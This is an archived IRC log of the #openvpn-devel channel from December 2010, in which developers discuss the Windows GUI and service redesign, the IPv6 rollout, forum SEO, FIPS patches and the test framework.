<https://community.openvpn.net/openvpn/ticket/71> 10:23 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 10:23 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 10:23 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:55 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 12:14 -!- dazo_afk is now known as dazo 12:35 -!- jobicreatingweb [~jobicreat@adsl-34.109.242.48.tellas.gr] has joined #openvpn-devel 12:35 < jobicreatingweb> hello 12:36 < jobicreatingweb> i have ubuntu 10.04 and i installed Ubuntu Version of OpenVPN Access Server 12:36 < jobicreatingweb> is this right? 12:37 < common> for the openvpn-gui 12:37 < jobicreatingweb> or i should install openvpn-2-1-4.tar.gz? 12:37 < common> wrong channel, this is devel 12:37 < common> goto #openvpn 12:37 < common> for the openvpn-gui 12:37 < jobicreatingweb> can you point me 12:37 < jobicreatingweb> thanks 12:37 < common> already did, #openvpn 12:38 < common> for the openvpn-gui ... 12:38 < jobicreatingweb> yep yep thanks 12:38 < common> I'd expect openvpnserv.exe to create a service for each config 12:38 -!- jobicreatingweb [~jobicreat@adsl-34.109.242.48.tellas.gr] has left #openvpn-devel [] 12:38 < common> and if I specify a management address in the configs 12:38 < common> the openvpn listens on it 12:38 < common> and the gui just connects to this address 12:38 < common> instead, current openvpn-gui starts the process itself 12:39 < common> and connects to it 12:39 < common> so the openvpn process is still a user process 12:39 < common> and same problem for routes 12:39 < common> as user is not allowed to create routes 12:40 < common> so basically no difference to the old gui 12:41 < common> I guess I'll have to stick to http://sourceforge.net/projects/securepoint/ for now 12:41 <@vpnHelper> Title: OpenVPN Client Windows | Download OpenVPN Client Windows software for free at SourceForge.net (at sourceforge.net) 12:41 < common> they 'do it' 12:41 < common> the create a service on a random port for each config item 12:42 < common> and connect to the mgmt interface for each service if requested 12:42 < common> so the whole route crap runs as system service, and the gui as user 12:42 < common> which is exactly what I'm looking for, so people can use the software without having admin rights and without admins having to mess with permissions 13:12 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 13:21 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:21 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:46 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has left #openvpn-devel ["Leaving."] 15:08 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:19 -!- dazo is now known as dazo_afk 15:33 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 260 seconds] 15:35 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 15:35 -!- mode/#openvpn-devel [+o mattock] by ChanServ 20:02 < raidzx> ecrist, mattock: you around? 20:04 < raidzx> Can you guys install an seo module for phpbb on forums? 20:04 < raidzx> forums doesnt have any keywords or description 20:05 < raidzx> I rather not manually edit the pages 21:16 -!- openvpn2009 [patel@openvpn/corp/admin/patel] has joined #openvpn-devel 21:17 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ --- Day changed Tue Dec 07 2010 01:26 -!- raidzx is now known as raidz 01:26 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 01:26 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 01:26 -!- mode/#openvpn-devel [+o raidz] by ChanServ 02:45 -!- dazo_afk is now known as dazo 03:16 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 03:19 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 03:19 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 03:19 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:21 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 245 seconds] 03:26 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 03:26 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 04:11 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:21 -!- common- [~common@p5DDA4840.dip0.t-ipconnect.de] has joined #openvpn-devel 04:25 -!- common [~common@p5DDA493F.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds] 04:25 -!- common- is now known as common 07:21 < ecrist> raidz: I am now. 07:22 < ecrist> I'll look around for one. phpBB is notably lacking in SEO. 07:22 * dazo wonders what SEO is ... 07:25 < ecrist> Search Engine Optimization 07:25 <@dazo> ahh 07:41 <@cron2> ah.... while you're around... 07:42 <@cron2> raidz: any news on the IPv6 connectivity to the community servers? 07:42 * cron2 feels like fighting windmills 07:43 <@dazo> :) 07:50 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 07:55 < common> dazo: whom to provide feedback for openvpn-gui? 07:58 <@dazo> common: d12fk is the developer ... but I believe he'd like to have it in some written form ... via sf.net trackers or a mailing list 07:58 < ecrist> have we begun to move off SF yet for ticketing? 07:59 < ecrist> tbh, I wouldn't mind seeing us move completely away from sf. 07:59 <@dazo> ecrist: openvpn-gui is a separate project 07:59 < ecrist> we have the infrastructure for it 07:59 <@d12fk> only if it's a bug report so ppl can track issues 07:59 <@dazo> ecrist: openvpn itself, there we use our own stuff 07:59 <@dazo> and sf.net trackers for openvpn are closed, afaik 07:59 < ecrist> ah, I understand now. 07:59 < ecrist> I though the gui was being rolled into the main project. 08:00 <@dazo> ecrist: nope ... well, an old version of the gui is somehow packaged in openvpn ... but I don't know how that really is put together 08:00 <@d12fk> common: what's your feedback? 08:07 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 09:51 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 10:26 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:26 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 10:44 <@dazo> I see a name I recognise here ... http://www.ipv6actnow.org/info/video/ 10:44 <@vpnHelper> Title: Interviews | IPv6 Act Now (at www.ipv6actnow.org) 10:45 * dazo now understands even more why cron2 was in the RIPE meeting in Rome lately 10:47 < ecrist> that video has WAY too many camera transitions. 11:34 <@raidz> cron2: Thanks for the reminder :-) We are looking into it now 11:35 <@raidz> ecrist: Do you need any help finding one? (SEO module) 11:35 < ecrist> yes 11:35 < ecrist> i've started looking for one 11:38 <@raidz> this one looks like it will do the job: www.phpbb-seo.com 11:38 <@raidz> thats actually exactly what I am looking for 11:39 < ecrist> interesting 11:40 <@raidz> ecrist: We should also get some kind of social bookmarking module on forums so people can submit threads to stumbleupon, reddit, diggit etc 11:40 < ecrist> agreed 11:40 < ecrist> did you get anywhere with rank images, etc? 11:41 <@raidz> nah, not yet. Our guys has been very busy, I will try and see if he can do it today. 11:43 < ecrist> ok 11:44 <@raidz> What if we put out a post in the forum or mailing list asking if anyone has skills in that and would be willing? 11:44 < ecrist> sure, I'd be open to that. 11:44 <@raidz> I am sure we have some talented guys in the community that wouldn't mind 11:45 <@raidz> Should mattock post or would you like to? 11:45 < ecrist> you're welcome to. :) 11:45 <@raidz> ok cool :-) 11:45 <@raidz> I will run it by mattock first, don't want to step on his toes 11:45 < ecrist> ok 11:46 <@raidz> although I am sure he would be cool with it 11:47 <@mattock> raidz: I'm fine with it 11:47 <@raidz> Hey samuli. Just read your e-mail 11:47 <@mattock> ok, excellent! 11:48 <@raidz> Patel and I will get that setup today 11:49 < ecrist> raidz: do you want to dig into the SEO, or do you want me to handle that? 11:49 < ecrist> I'm OK, either way. 11:49 <@raidz> ecrist: I can handle seo, I just need that module in there 11:49 < ecrist> also, were you folks ever going to roll some access server support to the forums? 11:50 <@raidz> We are planning on it, will take more time as we have some other stuff we are ironing out 11:50 < ecrist> ok, so you want me to install it. that I'll get done tonight or tomorrow. 11:50 <@mattock> raidz: thanks! 11:50 <@raidz> sounds like a plan 11:51 <@raidz> mattock, ecrist:should we post credits somewhere for people who help with the project, I am thinking of giving an incentive to whomever helps with the rank images 11:51 <@raidz> people like to be recognized ;-) 11:51 <@mattock> I agree 11:52 < ecrist> that's sort of what I was trying to get to last week during the meeting when I asked who the current developers were 11:52 <@mattock> perhaps the Wiki? 11:52 < ecrist> I suppose, in hindsight, I should have just stated so. 11:52 < ecrist> I think a protected wiki page might be good. 11:52 <@mattock> yep 11:53 <@raidz> that sounds good to me 11:53 < ecrist> also, maybe an entry in a credits section in the code. 11:53 <@mattock> I'd go for a separate developers page, which could be autogenerated from git 11:53 < ecrist> ok 11:53 <@raidz> ^^ 11:53 <@mattock> there are/have been quite a few contributors/developers, actually 11:53 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 11:53 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 11:53 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:54 < ecrist> unrealircd does something where if you run the /credits command, you get a long list of people who've donated, people who've developed, and people who's otherwise contributed to the project. 11:54 < ecrist> I donated $50 ~10 years ago, and my name is *still* in /credits for unreal 11:54 <@raidz> nice! 12:08 <@raidz> mattock, ecrist, cron2: so we can setup ipv6 now but there could be donwtime because we need to create a tunnel to the router. are you okay with possible downtime? 12:09 <@raidz> this is for the community server 12:09 < krzee> how much downtime? 12:09 < krzee> ild imagine that would only take a couple mins 12:10 <@raidz> krzee, half hour at most, but there might not even be downtime, because like you said it should only take a couple mins ;-) 12:10 < krzee> ild think its worthy 12:11 <@raidz> ok cool 12:11 <@raidz> we will do it now then 12:11 < krzee> =] 12:12 <@patelx> krzee: you have box i can get a shell on with ipv6 12:12 <@mattock> do it, do it... :) 12:12 <@raidz> hehehe 12:12 <@patelx> or you know what 12:12 <@patelx> nm 12:12 <@patelx> hold 12:13 < krzee> i *think* i only have 1 box with ipv6 12:13 < krzee> but that is ecrist's backup freebsd ports box 12:13 < krzee> so ild want his ok too first 12:24 < ecrist> what what, in the butt? 12:27 <@raidz> lulz 12:27 < krzee> lol 12:27 < krzee> butters has ipv6 too? 12:29 <@patelx> eric 12:29 < ecrist> lol 12:29 <@patelx> can you ping6 an address for me? 12:29 < ecrist> sure 12:29 < krzee> oh ok no it doesnt 12:29 < krzee> patelx, i can too :-p 12:29 <@patelx> 2607:f0d0:1001:0014:0000:0000:0000:0002 12:30 < ecrist> gah 12:30 < ecrist> 2607:f0d0:1001:14::2 is sufficient. :) 12:30 < krzee> no response 12:31 * ecrist waits for shell prompt on an over-taxed box. 12:31 < krzee> 66 packets transmitted, 0 packets received, 100.0% packet loss 12:31 <@patelx> one min 12:33 < Essobi> We're looking to deploy IPv6 by the end of next year.. I'm considering backporting the IPv6 from testing to 2.2 would be the path of least resistance, as opposed to running 2.3 beta... Any one care to offer their thoughts on that? 12:34 * ecrist kicks proftpd 12:34 < ecrist> last pid: 47463; load averages: 227.61, 226.57, 226.16 up 135+15:41:47 16:46:53 12:34 < ecrist> 250 processes: 228 running, 22 sleeping 12:34 < Essobi> ecrist: sweeet jeebus! 12:34 <@patelx> LOL 12:34 <@raidz> whoa 12:34 <@patelx> you running the United States of America on that server? 12:34 <@raidz> or wikileaks? 12:34 < Essobi> patelx: He's running the Internet on it. 12:34 < Essobi> lol 12:35 <@dazo> Essobi: cron2 might provide you some info here ... he's been doing all the IPv6 payload code (IPv6 inside the tunnel) 12:35 * dazo thinks cron2 anyway soon need to think about rebasing his code to the 2.2 ... needs to be done anyway :) 12:36 < ecrist> krzee: is that machine a jail or a vm? 12:38 <@dazo> Essobi: Btw. the final 2.3 release is slated towards the end of the summer of 2011 12:39 <@dazo> (we're pacing up the tempo on releases now, compared to earlier :)) 12:44 < Essobi> dazo: Right, I've noticed. Problem is we'll be out of IPs by EOTY 2011. ;) 12:45 * raidz quivers at the though 12:45 <@dazo> Essobi: I still hope the summer of 2011 comes before EOTY 2011 ;-) Point is, that after a couple of beta rounds, 2.3 should be more stabilised. I'm running the allmerged code myself without any issues right now 12:46 < Essobi> raidz: By we, I meant "us" as a corporation, where I work. :) 12:46 <@raidz> ahhh ;-) 12:46 <@dazo> those first rounds might take until mid/late May to complete 12:46 < Essobi> dazo: I know, but it required lots of planning, notification, and SOPs to get everything rolled out to 3000+ remote endpoints. :) 12:47 < Essobi> dazo: 6 months might be doable, but I think it'll be pushing it. 12:47 <@dazo> Essobi: what are you waiting for!?! Start planning and run the allmerged and beta code when it comes :-P 12:48 < Essobi> dazo: Mmm. So allmerged is the living alpha codebase? 12:48 <@dazo> The earlier we find bugs, the quicker we stabilises the betas :) 12:48 <@dazo> Essobi: yes, that's a good way how to see it 12:48 < Essobi> ;) 12:49 < Essobi> Roger that.. By the way, did you see I got the go-ahead for the FIPS 140-2 documentation? 12:49 <@dazo> allmerged is a merge of all feature and bugfix branches ... to test out how they really work ... and a release will only have a subset of what allmerge provides 12:49 < Essobi> >:) 12:49 <@dazo> I saw that ... and that's great news!! 12:51 < Essobi> Hehe.. the code patch to openvpn is pretty trivial.. turned out there was some stuff fips was expected inited, and wasn't. They have a helper function in openssl-fips I used to get everything happy, without spending much time investigating what it was pissed over, but I suspect it'll be easy for you guys to track down, and make it all the cleaner. 12:52 <@dazo> well, we generally don't like drop'n'run patches though ;-) 12:52 < Essobi> Touche'/ 12:52 * dazo need to run anyway ... got a wife waiting for me soon 12:52 < Essobi> I think all in all the meat of the code amounted to 2 function calls, and changine the confgier options to point to the correct libs. 12:53 < Essobi> changing the configure... 12:53 <@dazo> yeah, small stuff is fine to tackle :) 12:53 * dazo heads out 12:54 < Essobi> I'd rather see the changes make it into alltesting/beta 12:54 < Essobi> then just supplying patches. 12:54 <@dazo> that'll happen, when we see the patches and they're reviewed and ACKed :) 12:54 * dazo really heads out 12:54 <@dazo> c'yall 12:55 -!- dazo is now known as dazo_afk 13:27 < krzee> ecrist, it a vm 13:28 < ecrist> did you see that load avg, krzee? 13:29 * ecrist aways 13:29 < krzee> oh shit that was xxx!? 13:31 < krzee> lol 14:08 < ecrist> yeah, that was. 14:16 < Essobi> So where do I send the patch to? 14:16 < ecrist> mailing list 14:23 < ecrist> is LDAP not working mattock ? 14:40 <@mattock> oh, lemme check 14:43 <@mattock> openvpn client on forums was down 14:44 <@mattock> probably timed out due to server not responding 14:44 <@mattock> now it's up and functional 14:46 < Essobi> ecrist: Roger that. I'll post up the examples to build 14:51 <@mattock> both Trac and forums seem to work ok now 15:00 < Essobi> Sooo maybe I should hold off on submitting that for now? :) 15:04 < ecrist> mattock: do we have a nagios install running somewhere? 15:07 -!- Irssi: #openvpn-devel: Total of 20 nicks [10 ops, 0 halfops, 0 voices, 10 normal] 15:10 <@cron2> mmmh, so it seems I missed all the IPv6 fun :( 15:11 <@cron2> essobi: you can use 2.1+ipv6 patches, or as soon as 2.2 is released, dazo will make me rebase the ipv6 payload stuff to 2.2, so then you can use 2.2 + ipv6 patch 15:14 * Essobi high-fives cron2. 15:16 <@cron2> :) 15:16 < Essobi> cron2: Any chance pushing to endpoints will show up in 2.2's patch? :) 15:17 <@cron2> everything there is regarding ipv6 payload - it will be a branch based on 2.2, so making it a patch is (fairly) straightforward 15:20 < Essobi> cron2: From what I understand there isn't any ability to push IPs and routes to ipV6 endpoints with the TAP interface.. Is that going to change for the 2.2 patch? 15:20 < Essobi> err.. push to clients that is. 15:20 <@cron2> essobi: that's the gist of the patch 15:21 <@cron2> ah, *tap* 15:21 <@cron2> well, the patch is "push IPv6 ifconfig + ipv6 routes for TUN clients". It mostly works for TAP, but some bits are missing 15:22 < Essobi> See my PM if you get a chance? 15:22 <@cron2> just answered 15:48 < ecrist> raidz: did you ever get around to posting to the forum? 15:48 <@mattock> ecrist: no nagios 15:49 < ecrist> mattock: I'm thinking I'd like to set something up, or work with you guys to get something set up. 15:49 < ecrist> you know your infrastructure better than I do. 15:50 <@mattock> I've used monitd to monitor each server from the inside, but that does not rule out nagios or similar 15:51 <@mattock> let's discuss this in more detail, say, on thu-fri? got to get some sleep now 15:52 < ecrist> ok, that works for me. when you have time, you know where to find me. :) 15:55 <@mattock> yep :) 16:04 <@patelx> 2607:f0d0:1001:0014::2 16:05 <@raidz> ecrist: not yet, I have been with a customer for the past few hours 16:05 <@cron2> patelx: pings for me! 16:05 <@patelx> ;) 16:05 <@cron2> patelx: http also works 16:05 <@cron2> \o/ 16:22 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 17:09 < ecrist> raidz: do you folks have DNS configured for the IPv6 stuff? how about reverse DNS? 17:10 < ecrist> did your provided set you up with nibbles? 17:10 < ecrist> :) 17:11 < ecrist> if not, holler, I can help get that rolling, too. 17:25 <@raidz> ecrist are you talking an AAAA record? 17:25 <@raidz> I can look into the rdns 19:15 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 240 seconds] 19:20 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 19:20 -!- mode/#openvpn-devel [+o patelx] by ChanServ 19:21 -!- mode/#openvpn-devel [+v patelx] by raidz 19:21 -!- mode/#openvpn-devel [-o patelx] by raidz 19:21 -!- mode/#openvpn-devel [+o patelx] by raidz 20:30 < ecrist> ok --- Day changed Wed Dec 08 2010 00:20 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 240 seconds] 00:39 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 01:42 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:11 < kisom> Any thoughts on wikileaks? 02:16 -!- dazo_afk is now known as dazo 02:18 < krzee> i like what they do 02:23 < krzee> governments are supposed to be responsible for what they do 02:24 <@dazo> I agree ... but it's like security vulnerabilities ... not everything should be disclosed immediately, to not endanger the population 02:25 < krzee> right, i think there is responsibility on the person posting, and good analogy with sec vulns 02:26 <@dazo> but that there are someone who pays attention and make something public which is not supposed to or should not be secret ... meaning, avoid corruption and dishonesty among politicians, I'm not in doubt at all 02:42 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 03:57 -!- raimon [~romain@86.66.22.240] has joined #openvpn-devel 03:59 < raimon> d12fk: Hi... I'm romain... 04:00 < raimon> ... the guy asking about openvpn-gui and the managment interface. 04:04 <@d12fk> raimon: hi there 04:06 <@d12fk> so, regarding the mgmt itf code, it's quite complete, but i haven't implemented pksc#11 handling, yet 04:06 <@d12fk> it's on the agenda though 04:06 <@d12fk> just another type of password request 04:07 < raimon> on phone, brb 04:08 < raimon> back... I've been struggling a bit to make the mgt intf working... 04:08 < raimon> It's adresse fixed 127.0.0.10 right ? 04:09 <@d12fk> yes it is 04:09 <@d12fk> is that a problem? 04:09 < raimon> And I saw port 25430 + index... what does it means? 04:10 < raimon> Nop, just didn't find the man on this...;-) 04:10 <@d12fk> you need another port for each ovpn instance. 25430 is used for the first one and then incremented for each other 04:12 < raimon> Ok so basicaly i just need to add "management 127.0.0.10 25340" and the gui will use it ? 04:12 <@d12fk> umm, actually the gui configures ovpn to listen on the right socket 04:14 < raimon> ok. So, it doesn't uses the mgt in service mode... 04:14 <@d12fk> no, havent done anything with the service as there will be big changes in the near future, i just need my boss to find it a pressing issue =) 04:15 <@d12fk> the service will be extended so that a user with no rights can connect 04:15 < raimon> good news... any idea on how it'll be implemented ? 04:16 <@d12fk> yes, thought this through just need to de dome final verification that all will work in w7 04:17 <@d12fk> or do you maybe know if the localsyystem account has impersonation rights in his access token? 04:18 <@d12fk> i've heared rumors that w7 removed it? 04:19 < raimon> I dont know... I'm not an expert in windows security stuff... 04:20 < raimon> And, just to be sure... the new service mode will be supported by openvpn-gui or just the XML gui ? 04:20 <@d12fk> i'll have to become one then =) 04:20 < raimon> good luck...;) 04:20 <@d12fk> hah, thanks 04:21 <@d12fk> what's the xml gui? 04:22 -!- common- [~common@p5DDA4976.dip0.t-ipconnect.de] has joined #openvpn-devel 04:22 < raimon> The gui used by Openvpn Access server 04:23 < raimon> side note :you said : ' i just need my boss to find it a pressing issue' do you /work/ for OpenVPN ? 04:23 <@d12fk> i don't know anything about that. the ovpn inc. proprietary stuff 04:24 <@d12fk> don't know if the dev(s) are in here as well 04:24 < raimon> ok, so you don't work for them either... 04:24 <@d12fk> no i work work for astaro a UTM vendor that offers ovpn as one of the remote access methods 04:25 -!- common [~common@p5DDA4840.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 04:25 -!- common- is now known as common 04:25 < raimon> To get back to the mgtm itf : what does the gui use it for ? 04:27 <@d12fk> currently: private key passphrase, user auth, log retrieval and status updates 04:28 < raimon> ok... Maybe i'll see if I have time enough to add service support... 04:28 < raimon> I don't follow the openvpn-devel. Do you know where could I get info on the "big changes in the near future" 04:28 <@d12fk> not sure if that time will be invested right 04:29 < raimon> regarding the "big changes in the near future" ? 04:29 <@d12fk> yeah 04:29 <@d12fk> near is like q1/2 2011 04:29 < raimon> good for me. 04:29 < raimon> any info/links on this ? 04:30 <@d12fk> no, nothing 04:30 <@dazo> d12fk: does the GUI give a warning if it finds --management configured in the config file? 04:30 <@d12fk> i've dicussed this with james some dev meetings ago, should be in the irc logs 04:30 < raimon> ok, I'll check the log. 04:31 <@d12fk> dazo: no, it will just overwrite it 04:31 <@dazo> d12fk: okay, that covers it :) 04:31 < raimon> btw, I made a patch to crosscompile openvpn-gui on linux... do you want it ? 04:31 <@d12fk> dazo: but we agreed a while ago that ovpn should warn about overwritten options 04:32 <@dazo> d12fk: yeah, not on --management ... that was on all the script hooks 04:32 <@d12fk> dazo: ah i thought it will be for all options 04:32 <@dazo> d12fk: that's due to the nature of the option parser ... where you can override stuff on purpose from the config file via extra args ... but --management is likely one which would deserve a warning, indeed 04:33 <@dazo> raimon: what do you mean with "big changes in the near future"? 04:34 < raimon> dazo, I was just quoting d12fk. 04:34 <@d12fk> dazo: mostconfigs will come without ---mgmt-* anyways unless they are crafted for some gui 04:34 <@dazo> d12fk: yeah, exactly ... which is why a warning would be appropriate in my eyes :) 04:35 <@d12fk> since the config is parsed before the cmdline args it will just work even if mgmt options exist in the config 04:36 <@dazo> raimon: 2.2 release is betting into shape ... a 2.2-RC will come around Christmas .... complete release slated for early/mid January ... http://openvpn.net/index.php/open-source/documentation/change-log/425-changelog-for-openvpn-22.html 04:36 <@d12fk> good enough for me =) 04:36 <@vpnHelper> Title: 2.2 Change Log (at openvpn.net) 04:36 <@dazo> d12fk: yeah, you need to make sure your "overwrites" comes after the --config :) 04:37 < raimon> dazo: thanks. 04:38 <@dazo> raimon: The 2.3 release which will go beta around March 2011, will contain complete IPv6 support, possibly modular SSL support (use other SSL implementations than OpenSSL) and the new OpenVPN GUI on Windows 04:38 <@dazo> 2.3 will be the "next big thing" in OpenVPN ... 2.2 is mostly minor feature enhancements and bugfixes 04:39 < raimon> What is expected in the new OpenVPN GUI on Windows" 04:39 < raimon> +? 04:39 <@d12fk> raimon: it's expected that it suck less =) 04:39 <@dazo> let's put it this way, the current officially shipped OpenVPN GUI is years old ... probably the same which was shipped with 2.0.9 04:40 <@dazo> d12fk++ 04:43 < raimon> Ok, the roadmap/expected changes is available somewhere ? 04:43 < raimon> (the change log doesn't talk about the gui) 04:44 <@d12fk> there's no such thing for the gui, but the next thing will be the new service 04:44 <@dazo> raimon: the GUI is a separate project, outside the core OpenVPN ... but d12fk is kind enough to hang out with us :) 04:45 < raimon> Ok. And for the new service changes, I have to check the irc meeting log ? 04:46 <@d12fk> well, i can explain the idea behind it to you quickly 04:46 < raimon> ok 04:47 <@d12fk> currently it's no possible to run ovpn in w7 without being admin. 04:47 <@d12fk> there are some workarounds, but actually just admin may set routes and that's the problem 04:47 < raimon> but the openvpn service can be started even in w7, right ? 04:48 <@d12fk> previous to vista a user had to be in the admin or routing operator group 04:48 <@d12fk> so you always needed users with super powers 04:48 <@d12fk> this will change 04:49 <@d12fk> the gui runs as the user and tells the service to start a ovpn process on demand 04:49 <@d12fk> ovpn will run as the user as well. all privileged operations will be done by the service on demand of ovpn 04:50 <@d12fk> this way there is no chance of privilege escalation as ovpn has the same rights as the user 04:50 < raimon> ok, so ovpn will do the interface btwn unprivileged and privileged process. 04:51 <@d12fk> no, the service will do it for ovpn 04:51 <@d12fk> might be a lot of tricky ipc, but i do it for my children =) 04:52 < raimon> yes, I rephrase : the ovpn process (unprivileged) will send instructions to the ovpn service (privileged), right ? 04:52 <@d12fk> yes 04:53 <@d12fk> the old way to start ovpn through the service will still work then, but ovpn will behave like now 04:53 < raimon> and only the privileged instructions will be asked : routing, setting interfaces ... 04:53 <@d12fk> anything that's needed 04:54 < raimon> the actual SSL stuff will still be done by the unprivileged process 04:54 <@d12fk> yes 04:54 < raimon> well. I have to go know, but i'll be glade to resume this chat later if you're still available. 04:55 <@d12fk> always idle =) 04:55 < raimon> ;) Btw, I'm asking all this because I have to deploy a solution for a lot of unprivileged users early 2011... 04:56 < raimon> catch you later... 05:00 <@d12fk> yes cu 05:01 <@d12fk> raimon: oh i count on you as a beta tester then 06:07 -!- dazo is now known as dazo_afk 06:08 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 06:08 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 06:13 <@cron2> d12fk: when you find time to do the grand openvpn/openvpn-service change regarding interface/routing setup, check with me early so we're sure everything still works for IPv6 :-) 06:21 <@d12fk> cron2: ok 06:26 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 06:29 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 06:33 -!- andj_ [~dejong@ch.its.tudelft.nl] has joined #openvpn-devel 06:34 < andj_> Hi everyone 06:34 < andj_> Is there anyone that can give me a few pointers towards testframeworks and so on 06:40 < andj_> I'm planning to write a few tests, and hoping to use existing facilities within OpenVPN 06:41 < andj_> Specifically: is the test framework included in v2.1.4, or is it only included in v2.2? 06:47 <@cron2> andj_: I think it's only in 2.2 06:48 < andj_> thanks, I'll have a look at that code then. 06:49 <@cron2> look at the examples in t_client.rc-sample 06:49 <@cron2> basically what you need to do is 06:50 <@cron2> - setup a server with the feature sets that you want tested ("somewhere else", this is out of scope of this test framework) 06:50 <@cron2> - define a test stanza ("use these options to openvpn to connect to my test server") in t_client.rc 06:51 <@cron2> - define ping targets that will not work when openvpn is not up, and *will* work when the connection to the test server is established 06:51 <@cron2> "run test" 06:51 < andj_> ah, nice 06:51 <@cron2> if it doesn't work, or something is confusing, feel free to ask me here, on the openvpn-devel mailing list, or by private mail (gert@v6.de) 06:51 < andj_> so the framework is mostly aimed at system tests? 06:52 <@cron2> the t_client.* stuff is aimed at "run the openvpn client in certain reference configurations and see whether the VPN comes up, ping works, and afterwards, everything is cleaned up nicely" 06:52 <@cron2> so yes, full system test 06:53 <@cron2> there's no automated component testing yet (as far as I know, maybe I just never saw it) 06:53 < andj_> ok, that's a good intro, thanks 06:54 < andj_> Means that I can get started with a few scenarios here. 06:54 < andj_> On a related note, I've been working hard on our patches. 06:54 < andj_> And I expect that we'll be ready to release a preview for 2.1.4 somewhere today or tomorrow 06:54 <@cron2> cool 06:55 < andj_> After which I'll let the simmer a little until the 2.2 git tree is stable 06:55 < andj_> the=them 06:57 < andj_> Thanks again, heading back to work 07:47 < raimon> d12fk: I'm back... still there ? 08:23 < andj_> here we go, feels like spamming 08:48 <@cron2> andj_: it's easier to review if the patches are not .gz'ed on attachment 08:48 < andj_> Trouble is that some of them are a tad large (300k) 08:48 <@cron2> so one can just skim through them in the mail client, instead of "call zless on them, copy-paste intersting bits manually back to mail client" 08:48 <@cron2> mmmh, ok, 300k is somewhat big 08:49 < andj_> I can repost them un-gzipped, but well... 08:49 <@cron2> mmmh, maybe it's just me, but then, I don't know the SSL specific bits very well anyway. just ignore me :-) 08:50 < andj_> I can understand the problem, I hate having to unpack attachments that way, but I thought it would be worse form to dump such a large file in so many inboxes :) 08:51 <@cron2> yeah 08:56 -!- dazo_afk is now known as dazo 09:07 <@d12fk> raimon: back 09:11 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 09:37 -!- andj_ [~dejong@ch.its.tudelft.nl] has quit [Quit: leaving] 10:10 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 10:40 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 11:28 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 12:12 -!- patelx [~a@openvpn/corp/admin/patel] has joined #openvpn-devel 12:12 -!- mode/#openvpn-devel [+o patelx] by ChanServ 12:18 <@dazo> patelx: when will community.openvpn.net also have a IPv6 pointer? ;-) 12:18 * ecrist was just going to ask. 12:23 <@raidz> dazo, ecrist: I will ask him about that 12:24 <@raidz> ecrist: I am going to talk to mattock and get that post sent out today re: badges 12:24 < ecrist> ok 12:24 <@raidz> ecrist: do we have an rss feed url for forums.openvpn.net? 12:24 < ecrist> yes 12:24 <@raidz> ecrist: any luck with that seo module? 12:24 <@raidz> ecrist: whats the url? 12:24 < ecrist> http://forums.openvpn.net/smartfeed.php?feed_type=RSS2.0&limit=1_DAY&sort_by=standard&feed_style=HTML& 12:24 <@vpnHelper> Title: OpenVPN Support ForumOpenVPN Support ForumServer Administration :: System time at bootup not correct, Key authentication fails :: Author ... (at forums.openvpn.net) 12:24 < krzee> raidz, the rss is how the bot knows 12:25 <@raidz> krzee: I had a feeling ;-)\ 12:25 < ecrist> it's do RSS and ATOM 12:25 < ecrist> 